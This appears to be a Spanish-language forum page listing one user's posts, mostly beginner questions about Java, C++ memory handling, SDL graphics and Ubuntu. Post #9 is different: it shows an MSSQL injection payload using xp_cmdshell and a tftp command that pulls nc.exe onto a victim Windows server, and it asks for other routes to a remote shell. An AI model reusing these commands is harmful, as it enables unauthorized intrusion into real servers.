Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - ThePinkPanther

#1
Java / Problema con objetos.
14 Marzo 2014, 03:41 AM
Hola gente,surgio un problema mientras practicaba java..

suponiendo que tengo 2 clases , clase 1 y clase 2.

la clase 2 , es la que contiene el metodo main.

Si yo dentro de los atributos de la CLASE 2,defino un objeto de la clase1 ,supongamos clase1 objeto;

dentro del metodo main de la clase 2 no puedo realizar esto :

objeto=new clase1();

porque obtengo el siguiente error :

Citarnon-static variable escribir2 cannot be referenced from a static

pero si hago por ejemplo ..

this->iniciarobjeto();

y en mi metodo iniciarobjeto de la clase 2 :

public void iniciarobjeto(){
objeto=new clase1() ;
}

esto me deja...


----------

si defino el objeto ( clase1 objeto ) dentro del metodo main , y a continuación lo creo : objeto=new clase1() ; , me permite , pero no así , si lo defino dentro de los atributos de la clase, a que se debe ?..

esto quiere decir que desde un metodo estatico no puedo inicializar objetos de la clase o modificar cualquier atributo ? , no puedo utilizar this para hacerlo tampoco.

esto de java me tiene medio confundido , soy novato en el paradigma orientado a objetos,perdonen las molestias.


#2
Windows / Software libre en windows..
17 Diciembre 2013, 19:19 PM
Hola. Vengo con la siguiente pregunta :

Cuales son los software libre que mas utiliza la gente en windows? gracias de antemano saludos.  :P
#3
Hola .  :rolleyes: , tengo 3 tablas posicionadas en mi web con posición absoluta, no se tocan ,pero suele haber navegadores, o pcs con diferentes estilos en sus navegadores, donde se chocan las tablas, y se me descajetea toda la estructura de la pagina,como puedo ajustar las tablas,para que se visualicen bien en todos los navegadores ?? gracias..

Yo la veo bien con mi firefox y google chrome en mi pc,pero en otras pcs me comentan que se superponen las tablas, como puedo solucionar esto ? - gracias!!
#4
Hola, que tal , la cuestión es la siguiente..

tengo una tabla, y quiero mover esa tabla cuando se aprete un botón, esa tabla tiene un style que define la posicion absoluta,lo que quiero hacer de javascript es cambiar ese estilo , como puedo hacer referencia a mi tabla y modificar el style ? , gracias!
#5

#include <iostream>

using namespace std;

int main()
{
  int var;
    cin>>var;
    int x[var];
for(int i=0;i<var;i++)
{
  cout<<"Elemento " << i + 1 << " : " ; cin>>x[i];
  cout<<endl;
}

for(int i=0;i<var;i++)cout<<x[i]<<endl;

}



No era que para dimensionar un vector en tiempo de ejecución , se necesitaba reservar memoria dinamica ?? , como puede ser que dimensione un vector con una variable.
#6
Buenas, uso codeblock en ubuntu linux, y estaba aprendiendo a usar hilos y procesos , y cuando quiero crear un hilo con pthread_create() el codeblock me informa :

Referencia a 'pthread_create' sin definir.

estas son las librerias que incluyo en el proyecto :


#include <iostream>
#include <unistd.h> // necesaria para ejecutar fork()
#include <stdlib.h> // necesaria para ejecutar exit().
#include <pthread.h>


Esa funcion esta definida en
Citar<phread.h>
?? o , tengo que realizar algún especie de linkiado o cosas así , gracias de antemano. !
#7
Imagen menu :


http://www.subirimagenes.net/i/130429121437279172.png


Descarga compilado + codigo fuente :

http://www.mediafire.com/?dacycftiq50j8dq


PD : Compilado y probado en wxp sp2 32 bits.

Saludos.
#8
Hola, quisiera saber si esto deberia de funcionar!!

Estas son mis peticiones que luego envio por send

    const char *peticion2="GET /get.php?aA=juan HTTP/1.1 \r\n";
    const char * host="HOST: xxx.com\r\n";
    const char *peticion3="Connection: keep-alive\r\n\r\n";

send(musocket[i],peticion2,sizeof(peticion2)+longp2,0);
send(musocket[i],host,sizeof(host)+longhost,0);
send(musocket[i],peticion3,sizeof(peticion3)+longp3,0);


LLegaria bien la peticion http al servidor,estoy haciendo bien las cosas ?? , las variables long son la longitud de cadena de las constantes char.. , y el arreglo musocket,son socket conectados a un servidor web por el puerto 80 ..

gracias de antemano.
#9
Buenas, la cuestion viene por la siguiente mano .

Tengo una web vulnerable a mssql inject, donde puedo ejecutar un comando por vez


'x' ; EXEC master.dbo.xp_cmdshell 'COMANDO MSDOS' --

La web esta hosteada en linux,pero el comando va a una base de datos que esta alojada en un servidor Microsoft Windows server 2003 q no tiene un apache como para subirle un archivo php y podes usar una shell,simplemente es un servidor, y queria subirle un archivo de alguna forma un netcat o un troyano lo que sea para poder manipularlo , cuando intente subir un archivo por tftp , levante un sv tftp en mi pc , y se ve que no tiene activado en ese windows server 2003 el tftp ,porque no puede enviarle el archivo .

hice una cosa asi.

'x' ; EXEC master.dbo.xp_cmdshell 'tftp -i miip Get nc.exe %systemroot%/system32/nc.exe ' --

y no pude mandarselo , alguien sabe que otra forma puedo utilizar para subirle un archivo al servidor, teniendo en cuenta que puedo ejecutar solamente un comando por ves en el servidor.?
O un archivo .bat que me de shell remota ?.
probe tambien crear un usuario ,darle privilegios administradores y escritorio remoto ,pero no funciono tampoco . quisas solo tenga acceso desde la cuenta administrador de windows a la pc, es un host que se paga para tenerlo como servicio.

Saludos gracias por leer :)
#10
Programación C/C++ / Graficos 3D con SDL.
16 Marzo 2013, 22:45 PM
Hola.. vengo con una pregunta a ver si alguien de ustedes me hace el favor de asesorarme un poco , como puedo representar un cubo en SDL, suponiendo que dispongo de rectangulos ..

Como puedo simular la profundidad para varios angulos de observacion de una figura..
???
Gracias de antemano ..
#11
Estoy estudiando SDL, y tenia pensado hacer un juego ,pero todavia no me llevo muy bien con las cordenadas.

Con SDL creo una superficie principal de por ejemplo 400(ancho) x 400(largo) , cuadrada.

Quiero hacer un salto , osea que si el personaje salta tiene que formar un semicirculo dentro del eje.

Suponiendo que el salto arranca del 1 en x , y llega a 10 en x , en 5 de x tendria que estar el punto más alto del salto , que luego disminueria a medida que valla avanzando.. osea, en 5 de x , Y disminueria hasta llegar a 10 de ex . siendo y 0 para el entonces. ( En el piso ).

Mientras y aumenta hasta 5 de x, dismunuye en semetria ..

Hay algun patron , o formula para hacer un semicirculo en el salto , osea que valla aumentando en forma de parabola hasta llegar a 5 de x y dismuir en forma de parabola hasta llegar a 10 de x ?..

QUIERO HACER UN MOVIMIENTO ASI..


Gracias de antemano y un saludo.
#12
Hola,acá les traigo un programa que hice hace unas semanas atras, la verdad es que tiene pocas lineas de código ,pero es funcional ,para los que trabajen con las matemáticas y necesitan descomponer un numero en factores,tal vez se les resulte aburrido andar dividiéndolo , hace poco cuando estaba estudiando matemáticas me sirvió,quisas a alguien le sirva.


/*
Autor : ThePinkPanther(nick) , nombre : Santiago Díaz
12/02/2013
*/
#include <iostream>
#include <stdlib.h>
using namespace std;


int main()
{
int i=0;
int contador=0;
int *factores=NULL;
int aux=0;
int descomponer=0;



cout<<"Factorizar un numero.."<<endl;
cout<<endl<<"Numero a factorizar : " ; cin>>descomponer;
aux=descomponer;
factores=(int *)calloc(32,sizeof(int));



cout<<endl;
for(i=2;i<=descomponer;i++)
{
while(descomponer%i==0)
{

factores[contador]=i;
contador++;
descomponer=descomponer/i;
};
}

cout<<"########"<<endl;
cout<<aux<<" = " <<" ";
cout<<factores[0];
int x=1;
do
{
cout<<".";
cout<<factores[x];
x++;

}while(factores[x]!=0);
cout<<endl<<"########"<<endl;



free(factores);

}


Ejemplo entrada : 8
Salida : 2.2.2 , que esto es .. base 2 potencia 3.

Saludos.
#13
Hola compañeros, buenas noches.. les dejo un video donde suena una canción electronica de fondo , por si alguien la reconoce o sabe de quien es o su nombre.

http://www.youtube.com/watch?v=9Fs9D4NEMuw

Muchas gracias de antemano (:
#14
Hola, unetboting(programa para crear lives usb) no me reconoce mi disco duro externo, ya lo formatie con gparted a formado fat32 , pero tampoco lo reconoce ..  tambien lo desmonte- monte y probe viceversa y tampoco.

alguna idea ? , gracias de antemano.
#15
GNU/Linux / Creo que me mande una cag.
5 Febrero 2013, 00:26 AM
Buenas, hace poco que uso ubuntu linux y soy nuevo en este sistema operativo , lo que pasa es que hice lo siguiente..

puse en la terminal

sudo nautilus

Fui a la carpeta etc y hice click derecho y modifique los permisos al maximo , y ahora cuando lo quiero reparar me dice que no soy propietario para modificar esos permisos..

cuando trato de usar el sudo en la terminal , el resultado es el sig

sudo: /etc/sudoers es escribible por todos
sudo: no se encontraron fuentes sudoers válidas, saliendo
sudo: no se puede inicializar la política de plugin


Alguien puede ayudarme , gracias de antemano (:  ;D
#16
//includes
#include <iostream>
#include <string>
#include <stdlib.h>
using namespace std;
//globales
struct alumno
{
string nombre;
string apellido;
};
struct alumno info;
//prototipo de funciones

//funcion main



int main()
{
float aux=0;
int contador=0;
float *notas=NULL;


cout<<"Nombre del alumno : "  ; cin>>info.nombre;
cout<<endl<<"Apellido del alumno : " ; cin>>info.apellido;
cout<<endl;
cout<<"Ingrese las notas y presione entrar,para terminar el ingreso de datos use 0.."<<endl;
do
{
cout<<"nota numero " << contador+1 << " : " ;cin>>aux;
notas=(float*)realloc(notas,sizeof(float)*contador);
notas[contador]=aux;
contador++;
}
while(aux!=0);


free(notas);
}


estaba haciendo programa , el siguiente :

CitarEscriba un programa que lea los datos de un alumno:nombre, apellido, y una lista de calificaciones correspondiente a todos sus exámenes finales (se desconoce a priori el número de exámenes rendidos). El programa debe calcular el promedio del alumno en la carrera en informarlo en pantalla.

al introducir mas de 5 notas, me tira error de ...

*** glibc detected *** /home/mmokk/Escritorio/dinamico: realloc(): invalid next size: 0x08fc30a8 ***

lei que cuando el puntero es NULL , la funcion realloc funciona como malloc, después cuando el puntero tiene asignada una direccion de memoria que apunta a la memoria , después de 5 notas sale el error descrito arriba.

Compilo bajo ubuntu linux con g++ ..

Alguien puede ayudarme ?.

Gracias de antemano  :P
#17
Foro Libre / Sindrome de autoencierro.
2 Febrero 2013, 03:38 AM
[youtube=640,360]http://www.youtube.com/watch?v=-BTyRhChsTE
[/youtube]

xD
#18
Alguien sabe como se llama la canción que esta en el minuto 40:00 , de la siguiente pelicula ?..

[youtube=640,360]http://www.youtube.com/watch?v=e81oImDNILo[/youtube]

Gracias de antemano (:
#19
Programación C/C++ / Codigo c++ , problema.
27 Enero 2013, 00:39 AM
Este programa funciona perfectamente, pero con archivos menores a 1kb , estoy usando asignación dinamica de memoria , con la función realloc .




#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#define BLOQUEDETEXTO 200
using namespace std;

int main() {
FILE *archivo;
char *t,*a; // t = texto seleccionado(200 bytes) , a = asignacion dinamica
int numerodetextos=0,textoseleccionado=0;
char n[255]; // nombre del archivo

//-------------------------------------------------------------
do
{

     cout<<"nombre del archivo: " ; cin>>n;
 archivo=fopen(n,"rwt");
 if(archivo==NULL)
 {

            cout<<"Nombre incorrecto";
        cout<<endl;
    }      
}
while(archivo==NULL);

a=(char *)malloc(BLOQUEDETEXTO);

while(! feof(archivo))
{



    memset(a+(BLOQUEDETEXTO * numerodetextos),0,BLOQUEDETEXTO);
    fread(a+(BLOQUEDETEXTO * numerodetextos),1,200,archivo);
    numerodetextos++;

    realloc(a,(BLOQUEDETEXTO * (numerodetextos + 1)));    




//dentro de este bucle esta el error.



}
printf("\n %s",a);
free(a);

system("pause>nul");
   
return 0;




}



Porque funciona con archivos de menos de un kb pero cuando trato de leer uno más grande el programa se cuelga.?